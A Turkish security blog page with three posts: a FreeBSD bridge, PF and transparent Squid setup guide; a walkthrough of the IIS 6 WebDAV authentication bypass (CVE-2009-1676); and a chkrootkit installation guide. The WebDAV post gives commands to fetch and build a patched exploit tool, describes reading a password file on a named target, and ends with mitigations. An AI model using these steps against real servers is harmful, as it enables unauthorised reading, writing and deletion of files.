Bilgi Güvenliği Günlüğü.

16 February 2010

Bridge FreeBSD PF ve Transparent Squid

Bridge FreeBSD PF ve Transparent Squid

FreeBSD işletim sistemini bridge modda yapılandırıp üzerinde PF (packet filter) ile transparent squid kullanımı anlatılmıştır.

Nasıl Çalışır
FreeBSD PF fiziksel olarak gateway ile istemciler arasına yerleştirilir, mevcut network yapısı ve istemcilerin ağ ayarları değiştirilmeden (proxy, gateway vs.) layer 2 seviyesinde filtreleme yapılır.İstemciler bilinmeyenlerin çıkış noktası olarak yine gateway’lerini görürler ve internete çıkmak için tüm paketleri gateway’lerine iletirler fakat gateway’lerine paketler ulaşmadan bridge modda çalışan PF ve Squid bunları işlenen kural listesine göre süzüp ardından trafiği olduğu gibi (nat vs. yapmadan) gateway’e iletir.Bridge modda FreeBSD tıpkı bir switch gibi çalışır …

Böylelikle görünmez modda PF ve Squid çalıştırmış oluyoruz.

İstenilen Network Yapısı

FreeBSD bridge yapılandırması

Ağ kartlarının “fxp0” ve “fxp1” olduğu düşünülmüştür.

# ifconfig bridge create
bridge0
#
ifconfig bridge0
bridge0: flags=8802<BROADCAST,SIMPLEX,MULTICAST> metric 0 mtu 1500
ether 96:3d:4b:f1:79:7a
id 00:00:00:00:00:00 priority 32768 hellotime 2 fwddelay 15
maxage 20 holdcnt 6 proto rstp maxaddr 100 timeout 1200
root id 00:00:00:00:00:00 priority 0 ifcost 0 port 0

# ifconfig bridge0 addm fxp0 addm fxp1 up
# ifconfig fxp0 up
# ifconfig fxp1 up

Ayarların açılışta geçerli olması için /etc/rc.conf dosyasına aşağıdaki satırlar eklenir;

cloned_interfaces="bridge0"
ifconfig_bridge0="addm fxp0 addm fxp1 up"
ifconfig_fxp0="up"
ifconfig_fxp1="up"

Bridge interface için ip ataması yapılmak isteniliyorsa;
ifconfig bridge0 inet 192.168.0.1/24

PF (Packet Filter) ile istemcilerden gelen ve hedef port 80 olan isteklerin squid’e yönlendirilmesi

PF aktif edilmesi ;

kldload pf.ko
/etc/rc.conf;
pf_enable="YES"
pf_rules="/etc/pf.conf"
pf_flags=""
pflog_enable="YES"
pflog_logfile="/var/log/pflog"
pflog_flags=""

Servisin başlatılması
#/etc/rc.d/pf start 

Kural dosyası
# touch /etc/pf.conf
İstemcilerden gelen herhangi bir hedefin 80. Portuna giden istekler squid e yönlendirilir
pf.conf ;
int_if=”vr0″
ext_if=”fxp0″
rdr on $int_if inet proto tcp from $lan to any port { 80 443 } -> 127.0.0.1 port 3128
pass in quick on $int_if route-to lo0 inet proto tcp from $lan to 127.0.0.1 port 3128 keep state

Not: $lan = yerel network aralığınız. Örnek : 192.168.5.0/24

Squid Kurulumu;
-Port ağacından kurulumu ;
# cd /usr/ports/www/squid && make install clean

Not: squid port ağacından kurarken PF desteğini aktif etmenizde fayda var.

- Depodan kurulumu
# pkg_add –rv ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386/packages-7-stable/Latest/squid.tbz

Transparent olarak çalışması için squid.conf dosyasına eklenecek satır ;
http_port 127.0.0.1:3128 transparent

Eğer herşey yolunda gittiyse squid.conf dosyasına aşağıdaki gibi bir kural tanımlayıp test edebilirsiniz ;

acl yasakli dstdomain .yahoo.com
http_access deny yasakli

Daha fazla bilgi;
Bridge: http://www.freebsd.org/doc/handbook/network-bridging.html
Pf ve Squid : http://www.benzedrine.cx/transquid.html

22 May 2009

Microsoft IIS6 WebDav Remote Auth Bypass Güvenlik Zaafiyeti

CVE-2009-1676 güvenlik bülteni ile Microsoft IIS 6.0 web sunucusunun dosya paylaşımı için kullandığı “Webdav” servisinde uzakdan kimlik doğrulamayı bypass eden bir zaafiyet bulunduğu duyuruldu.

Web sunucuda bulunan klasorlere ve dosyalara erişim için Windows Authentication gerektiren kimlik doğrulama unicode kullanılarak bypass edilebiliniyor.
Yetki dahilinde dosya okumak, dizin listelemek ve uzak sunucuya dosya yazmak (içerik eklemek) mümkün.

Bu makalede bu işlemin nasıl yapıldığı ve korunma yollarına değinilmiştir.

Aktif Webdav Servisinin Tespiti

IIS 5.0 da Webdav servisi varsayılan olarak açık gelir.IIS 6.0 sunucularda ise webdav servisi varsayılan olarak aktif değildir.

IIS sunucuda Webdav servisinin aktif olduğunu Nmap NSE sciprti ve Enumaration araçları ile tespit edebiliriz.

Nmap NSE scriptine http://ack-rst.com/scripts/webdav.nse adresinden ulaşabilirsiniz.

Nmap ile ozan.net adresindeki IIS 6 sunucunun Webdav servisinin aktif olduğunu öğrendik.

Exploit (Suistimal)

Bu zaafiyeti kullanarak hedef sistemde yapılacak işlemler hakkında aşağıdaki videoyu izleyebilirsiniz.

http://www.cehturkiye.com/iis6webdav/iis6webdav.html

Bilgisayarınıza indirmek için ;
http://www.4shared.com/file/107065019/de6006aa/iis6webdavvulnerabilty.html

Skullsecurity.org tarafından açığı sömüren otomize edilmiş bir betik yayımlandı.

Kurulumu ve kullanımı aşağıdaki gibidir ;
1-mkdir webdav
2-cd webdav
3-wget http://www.skullsecurity.org/blogdata/cadaver-0.23.2-h4x.patch
——
4-wget http://www.webdav.org/cadaver/cadaver-0.23.2.tar.gz
——
5-tar xzvf cadaver-0.23.2.tar.gz
——
6- cd cadaver-0.23.2/
7- patch -p1 < ../cadaver-0.23.2-h4x.patch
patching file lib/neon/ne_basic.c
patching file lib/neon/ne_request.c
patching file lib/neon/ne_uri.c
7-./configure
——
8- make
——

Yukarıdaki adımlardan sonra “cadaver” aracı kurulmuş olucak.

./cadaver xx.xx.xx.xx şeklinde kullanabilirsiniz.

Artık dav:/> satırına düştükden sonra savunmasız dizine geçebilir.Neler olduğunu görüntüleyerek yetki dahilinde istediğiniz işlemi yapabilirsiniz.

Yapılacak işlemler için aşağıdaki komutlar kullanılır ;
* CD
* LS
* MOVE
* PUT
* GET
* CAT
* DELETE

ozan.net hedefi exploit edilerek, “gizli” klasorundeki “parola.txt” içeriği okunmuştur.

Bu zaafiyetten korunmak için;
- Webdav servisi kullanılmıyorsa kapatın.
-Webdav ile paylaşılan klasorlerin/dosyaların yetkilerini düzenleyin
-Microsoft’un yama çıkarmasını bekleyin :(
-Eğer bir IDS/IPS sisteminiz var imza veritabanını güncelleyin.

20 May 2009

Centos / Chkrootkit Kurulumu

Linux sunucularda en etkili rootkit tespit araçlarından biri olan chkrootkit yazılımının centos dağıtımlarına kurulumunu aşağıdaki adımlarla yapabiliriz ;

Çalıştırmak için

./chkrootkit

Çalışınca aşağıdaki gibi bir çıktı alacaksınız :

root@mntlcpanel [~/chkrootkit/chkrootkit-0.48]# ./chkrootkit
ROOTDIR is `/’
Checking `amd’… not found
Checking `basename’… not infected
Checking `biff’… not found
Checking `chfn’… not infected
Checking `chsh’… not infected
Checking `cron’… not infected
Checking `crontab’… not infected
Checking `date’… not infected
Checking `du’… not infected
Checking `dirname’… not infected
Checking `echo’… not infected
Checking `egrep’… not infected
Checking `env’… not infected
Checking `find’… not infected
Checking `fingerd’… not found
Checking `gpm’… not found
Checking `grep’… not infected
Checking `hdparm’… not found
..
..
..
Hatalı veya bulaşmış bir uygulama olursa aşağıdaki gibi bir uyarı ile karşılaşabilirsiniz Checking `lkm’… You have 13 process hidden for readdir command

You have 2 process hidden for ps command
chkproc: Warning: Possible LKM Trojan installed Checking `su’… not infected

Güvenli Günler

Older Posts »

Powered by WordPress